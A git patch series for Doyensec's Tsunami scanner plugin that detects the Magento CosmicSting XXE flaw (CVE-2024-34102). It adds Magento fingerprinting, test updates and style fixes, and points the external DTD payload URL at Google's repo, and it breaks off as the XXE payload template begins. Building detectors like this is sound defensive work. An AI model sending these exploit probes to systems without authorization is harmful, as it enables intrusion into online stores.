b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java index 7b8bbb25e..dd7aa4540 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java @@ -13,6 +13,7 @@ * See the License for the specific language governing permissions and * limitations under the License. */ + package com.google.tsunami.plugins.detectors.cves.cve202434102; import com.google.inject.Provides; diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java index d5b455b1e..739e49fba 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java @@ -13,6 +13,7 @@ * See the License for the specific language governing permissions and * limitations under the License. */ + package com.google.tsunami.plugins.detectors.cves.cve202434102; import com.google.tsunami.common.config.annotations.ConfigProperties; diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java index 5d57b6569..905b78afd 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java @@ -13,6 +13,7 @@ * See the License for the specific language governing permissions and * limitations under the License. */ + package com.google.tsunami.plugins.detectors.cves.cve202434102; import static com.google.common.truth.Truth.assertThat; From e9d93b2bfd452e98493a69b71a338d71fe2f4453 Mon Sep 17 00:00:00 2001 From: lokiuox Date: Wed, 4 Sep 2024 18:36:10 +0200 Subject: [PATCH 08/11] Better Magento Detection --- .../cve202434102/MagentoCosmicStingXxe.java | 52 ++++++++++++++++++- .../MagentoCosmicStingXxeTest.java | 19 +++++-- 2 files changed, 65 insertions(+), 6 deletions(-) diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java index 8534ba4fd..15bcb397c 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -24,6 +24,7 @@ import com.google.common.collect.ImmutableList; import com.google.common.flogger.GoogleLogger; import com.google.common.util.concurrent.Uninterruptibles; +import com.google.gson.JsonElement; import com.google.gson.JsonObject; import com.google.protobuf.ByteString; import com.google.protobuf.util.Timestamps; @@ -122,6 +123,11 @@ public final class MagentoCosmicStingXxe implements VulnDetector { static final String VULNERABLE_ENDPOINT_PATH = "rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods"; + @VisibleForTesting + static final String CURRENCY_ENDPOINT_PATH = "rest/default/V1/directory/currency"; + + @VisibleForTesting static final String VERSION_ENDPOINT_PATH = "magento_version"; + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); private final Clock utcClock; private final HttpClient httpClient; @@ -152,15 +158,59 @@ public DetectionReportList detect( .addAllDetectionReports( matchedServices.stream() .filter(NetworkServiceUtils::isWebService) + .filter(this::isMagento) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) .build(); } + /* + Check presence of endpoint with always anonymous access: /rest/default/V1/directory/currency + From: https://developer.adobe.com/commerce/webapi/rest/use-rest/anonymous-api-security/ + + Typical response: + HTTP/2 200 OK + { + "base_currency_code": "USD", + "base_currency_symbol": "$", + ... + } + */ + private boolean isMagento(NetworkService networkService) { + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CURRENCY_ENDPOINT_PATH; + + HttpRequest req = + HttpRequest.get(targetUri) + .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) + .build(); + + HttpResponse response; + try { + response = this.httpClient.send(req, networkService); + } catch (IOException e) { + return false; + } + + // Check status code 200 + if (response.status() != HttpStatus.OK) return false; + // Check if body is JSON + if (response.bodyJson().isEmpty()) return false; + JsonElement body = response.bodyJson().get(); + // Check if JSON body is object + if (!body.isJsonObject()) return false; + // If the body has a known key, e.g. "base_currency_code", it's Magento + return body.getAsJsonObject().has("base_currency_code"); + } + + /* + Tries to get the Magento version by fetching /magento_version + This endpoint can be manually disabled, so don't stop the plugin if we can't fetch it + */ private String detectMagentoVersion(NetworkService networkService) { String targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "magento_version"; + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VERSION_ENDPOINT_PATH; logger.atInfo().log("Trying to detect Magento version at '%s'", targetUri); HttpRequest req = HttpRequest.get(targetUri).withEmptyHeaders().build(); diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java index 905b78afd..c4f42b427 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java @@ -74,6 +74,8 @@ public final class MagentoCosmicStingXxeTest { private MockWebServer mockCallbackServer = new MockWebServer(); private static final String MOCK_MAGENTO_VERSION = "Magento/2.4 (Mock)"; + private static final String MOCK_CURRENCY_ENDPOINT_RESPONSE = + "{\"base_currency_code\":\"USD\",\"base_currency_symbol\":\"$\",\"default_display_currency_code\":\"USD\",\"default_display_currency_symbol\":\"$\",\"available_currency_codes\":[\"USD\",\"EUR\"],\"exchange_rates\":[{\"currency_to\":\"USD\",\"rate\":1},{\"currency_to\":\"EUR\",\"rate\":0.7067}]}"; private static final String PATCHED_INSTANCE_RESPONSE = "{\"message\":\"Invalid data type\"}"; private static final String VULNERABLE_INSTANCE_RESPONSE = "{\"message\":\"Internal Error. Details are available in Magento log file. Report ID:" @@ -120,7 +122,7 @@ public void detect_whenVulnerableAndTcsAvailable_reportsCriticalVulnerability() DetectionReport expectedDetection = generateDetectionReportWithCallback(targetInfo, httpServices.get(0)); assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); - assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + assertThat(mockWebServer.getRequestCount()).isEqualTo(3); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); } @@ -140,7 +142,7 @@ public void detect_whenVulnerableAndTcsNotAvailable_reportsHighVulnerability() DetectionReport expectedDetection = generateDetectionReportWithResponseMatching(targetInfo, httpServices.get(0)); assertThat(detectionReports.getDetectionReportsList()).containsExactly(expectedDetection); - assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + assertThat(mockWebServer.getRequestCount()).isEqualTo(3); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); } @@ -158,7 +160,7 @@ public void detect_whenNotVulnerableAndTcsAvailable_reportsNoVulnerability() thr DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + assertThat(mockWebServer.getRequestCount()).isEqualTo(3); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); } @@ -176,7 +178,7 @@ public void detect_whenNotVulnerableAndTcsNotAvailable_reportsNoVulnerability() DetectionReportList detectionReports = detector.detect(targetInfo, httpServices); assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + assertThat(mockWebServer.getRequestCount()).isEqualTo(3); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); } @@ -254,11 +256,18 @@ static final class EndpointDispatcher extends Dispatcher { public MockResponse dispatch(RecordedRequest recordedRequest) { if (recordedRequest.getMethod().equals("GET") - && recordedRequest.getPath().equals("/magento_version")) { + && recordedRequest.getPath().equals("/" + VERSION_ENDPOINT_PATH)) { // Version detection request return new MockResponse() .setResponseCode(HttpStatus.OK.code()) .setBody(MOCK_MAGENTO_VERSION); + } else if (recordedRequest.getMethod().equals("GET") + && recordedRequest.getPath().equals("/" + CURRENCY_ENDPOINT_PATH)) { + // Magento identification request + return new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setHeader("Content-Type", "application/json; charset=utf-8") + .setBody(MOCK_CURRENCY_ENDPOINT_RESPONSE); } else if (recordedRequest.getMethod().equals("POST") && recordedRequest.getPath().equals("/" + VULNERABLE_ENDPOINT_PATH)) { // Exploit attempt From 380d1bc9c5a324d96dbd7d93c52eaba471f4fab9 Mon Sep 17 00:00:00 2001 From: lokiuox Date: Sat, 16 Nov 2024 19:42:23 +0100 Subject: [PATCH 09/11] Stylistic fixes --- .../cves/cve202434102/MagentoCosmicStingXxe.java | 15 ++++++++++++--- .../MagentoCosmicStingXxeBootstrapModule.java | 6 +----- .../cve202434102/MagentoCosmicStingXxeTest.java | 10 +++++++++- 3 files changed, 22 insertions(+), 9 deletions(-) diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java index 15bcb397c..ab18177b5 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -194,12 +194,21 @@ private boolean isMagento(NetworkService networkService) { } // Check status code 200 - if (response.status() != HttpStatus.OK) return false; + if (response.status() != HttpStatus.OK) { + return false; + } + // Check if body is JSON - if (response.bodyJson().isEmpty()) return false; + if (response.bodyJson().isEmpty()) { + return false; + } + JsonElement body = response.bodyJson().get(); // Check if JSON body is object - if (!body.isJsonObject()) return false; + if (!body.isJsonObject()) { + return false; + } + // If the body has a known key, e.g. "base_currency_code", it's Magento return body.getAsJsonObject().has("base_currency_code"); } diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java index dd7aa4540..ec6545ffe 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java @@ -20,15 +20,11 @@ import com.google.tsunami.plugin.PluginBootstrapModule; import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; -/** An example Guice module that bootstraps the {@link MagentoCosmicStingXxe}. */ +/** A Guice module that bootstraps the {@link MagentoCosmicStingXxe}. */ public final class MagentoCosmicStingXxeBootstrapModule extends PluginBootstrapModule { @Override protected void configurePlugin() { - // Tsunami relies heavily on Guice (https://github.com/google/guice). All Guice bindings for - // your plugin should be implemented here. - - // registerPlugin method is required in order for the Tsunami scanner to identify your plugin. registerPlugin(MagentoCosmicStingXxe.class); } diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java index c4f42b427..880701de6 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java @@ -19,7 +19,15 @@ import static com.google.common.truth.Truth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.*; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.CURRENCY_ENDPOINT_PATH; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VERSION_ENDPOINT_PATH; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_DESCRIPTION_CALLBACK; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_ID; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_PUBLISHER; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_RECOMMENDATION; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABILITY_REPORT_TITLE; +import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABLE_ENDPOINT_PATH; import com.google.common.collect.ImmutableList; import com.google.inject.Guice; From f434851eb14231f4e2911d759f6dcf2ae7c2c6e2 Mon Sep 17 00:00:00 2001 From: lokiuox Date: Sat, 16 Nov 2024 19:46:57 +0100 Subject: [PATCH 10/11] Change assert to verify --- .../detectors/cves/cve202434102/MagentoCosmicStingXxe.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java index ab18177b5..d165e4223 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -17,6 +17,7 @@ package com.google.tsunami.plugins.detectors.cves.cve202434102; import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.base.Verify.verify; import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; @@ -393,7 +394,7 @@ private boolean isServiceVulnerable(NetworkService networkService) { Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); // payload should never be null here as we should have already returned in that case - assert payload != null; + verify(payload != null); if (payload.checkIfExecuted()) { logger.atInfo().log("Vulnerability confirmed via Callback Server."); return true; From 18c91af9d837f0ae86250433a81c4c596ba17e1a Mon Sep 17 00:00:00 2001 From: lokiuox Date: Tue, 26 Nov 2024 13:13:50 +0100 Subject: [PATCH 11/11] Updated DTD_FILE_URL path to Google's repo --- .../detectors/cves/cve202434102/MagentoCosmicStingXxe.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java index d165e4223..c5da92225 100644 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -108,7 +108,7 @@ public final class MagentoCosmicStingXxe implements VulnDetector { + " https://helpx.adobe.com/security/products/magento/apsb24-40.html."; static final String DTD_FILE_URL = - "https://raw.githubusercontent.com/doyensec/tsunami-security-scanner-plugins/magento-cosmicsting-xxe/payloads/magento-cosmicsting-xxe/dtd.xml"; + "https://raw.githubusercontent.com/google/tsunami-security-scanner-plugins/master/payloads/magento-cosmicsting-xxe/dtd.xml"; private static final String PAYLOAD_TEMPLATE = "\n" + "